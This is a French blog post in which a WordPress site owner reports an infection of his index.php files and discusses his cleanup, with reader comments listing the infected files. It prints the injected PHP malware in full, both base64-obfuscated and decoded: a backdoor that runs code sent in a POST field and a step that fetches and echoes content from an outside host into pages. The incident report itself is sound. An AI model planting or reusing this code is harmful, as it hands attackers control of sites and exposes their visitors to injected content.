Attaque de type eval(base64_decode) sur le blog

Hier matin, le blog affichait en haut de page un beau message d’erreur. C’est Merlinux qui m’a prévenu par mail, car de mon côté tout était normal, alors que lui voyait le message suivant :

accès au blog impossible

Après quelques vérifications, je me suis alors rendu compte que le fichier index.php (à la racine du site ET à la racine de wordpress) avaient été modifiés et comprenaient l’instruction suivante :

<?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); 
@eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pd
CgwKTsKaWYgKGlzc2V0KCRfUE9TVFsnY29va2llc19pJ10pKSB7ZXZhbChiYXNlNjR
fZGVjb2RlKCRfUE9TVFsnY29va2llc19pJ10pKTt9CiR6Mzc9InN0YXRzIjsKJHVhM
z0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiR1MzcgPSBhcnJheSgiR29vZ2x
lIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiU
mFtYmxlciIsICJNYWMiKTsKaWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCI
sICR1MzcpIC4gIi9pIiwgJHVhMykpIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU
0VSX0FHRU5UIl0pID09MCkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJ
dKSkpCnt9CmVsc2UKewpAc2V0Y29va2llKCR6MzcsbWQ1KCJzdGF0cyIpLHRpbWUoK
SsxNzI4MDApOwokaWQ9IjlvOGFhODhsOGVqaTEycmpmNWtva2VteGZ5amx6MXQiOwo
kdXJsPSJodHRwOi8vaWZyYW1lc2hvcC5uZXQvc3RpLnBocD9pZD0iLiRpZDsKJGlmc
mFtZT1AZmlsZV9nZXRfY29udGVudHMgKCR1cmwpOwppZiAoJGlmcmFtZSkgZWNobyg
kaWZyYW1lKTsgCn0K'));/*68066*/ ?>

Mais qu’est-ce que ça veut dire ? Pour décoder tout ça, il suffit d’aller sur ce site et d’y entrer le contenu de la chaîne codée. Et on y retrouve bien l’URL du message d’erreur :

error_reporting(0); set_time_limit(0); 
if (isset($_POST['cookies_i'])) {eval(base64_decode($_POST['cookies_i']));} $z37="stats"; $ua3=$_SERVER["HTTP_USER_AGENT"]; 
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac"); 
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_USER_AGENT"]) ==0) or (isset($_SERVER["HTTP_COOKIE"]))) {} else { @setcookie($z37,md5("stats"),time()+172800); $id="9o8aa88l8eji12rjf5kokemxfyjlz1t"; 
$url="http://iframeshop.net/sti.php?id=".$id; $iframe=@file_get_contents ($url); 
if ($iframe) echo($iframe); } 

Bon, en gros cela injecte une iframe dans ma page (une page dans la page). Pour quoi faire je n’en sais rien, peut-être simplement afficher de la publicité, ou pire installer un malware sur le PC ? En tout cas des petits malins qui ont probablement exploité une faille de sécurité.

Bon j’ai nettoyé les deux fichiers, changé le mot de passe FTP, tout est rentré dans l’ordre. Pas sûr que cela soit suffisant, il est possible que cela revienne si c’est une faille de sécurité de WordPress (v3.2.1). C’est peut-être aussi le serveur de Free qui n’est pas assez sécurisé, autorisant ce genre « d’exploit ». Free est pourtant assez restrictif pour sécuriser leurs serveurs…

Bref, on voit toute la difficulté de se protéger contre les attaques de ce genre. Attendons de voir la suite, pour l’instant tout va bien, les fichiers n’ont pas été réinfectés. Je vais les surveiller pendant quelques jours pour m’en assurer.

4 réflexions sur « Attaque de type eval(base64_decode) sur le blog »

  1. Hallo Pascal,

    en fait l’accès au blog restait toujours possible, du moins de mon coté.

    Il n’y avait que ce message en tête du blog, donc supplémentaire, avec pour effet de rendre tous les textes du blog difficile à lire à cause des caractères impropres qui sont généralement utilisés en language html pour remplacer les caractères autres que ceux des premiers des l’ASCII.

    Je suppose que mon navigateur n’était plus en mesure de traduire ces caractères qui peut-être étaient fausses, ce que je n’ai pas vérifié. J’utilise une ancienne version de Firefox.

  2. Merci Merlinux.

    Oui ce n’est peut-être pas encore totalement réglé, j’ai eu la surprise de voir ce message une fois cet AM, en affichant mon blog à partir de mon smartphone, avec Opéra mobile.

    Un « refresh » et le message avait disparu… peut-être encore dans le cache ?

    Bon, je vais lire ton lien et creuser un peu… 🙁

  3. Après avoir investigué tous les fichiers, voilà la lite de ceux qui étaient infectés :

    wp-admin/user/index.php
    wp-admin/index.php
    wp-admin/network/index.php
    wp-content/themes/suffusion/index.php
    wp-content/themes/classic/index.php
    wp-content/themes/default-i18n
    wp-content/themes/default/index.php
    wp-content/themes/twentyten/index.php
    wp-content/themes/index.php
    wp-content/themes/twentyeleven/index.php
    wp-content/themes/cutline-3-column-split-11/index.php
    wp-content/themes/connections/index.php
    wp-content/index.php
    wp-content/plugins/index.php

    Tout est nettoyé, je continue la surveillance quotidienne…

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *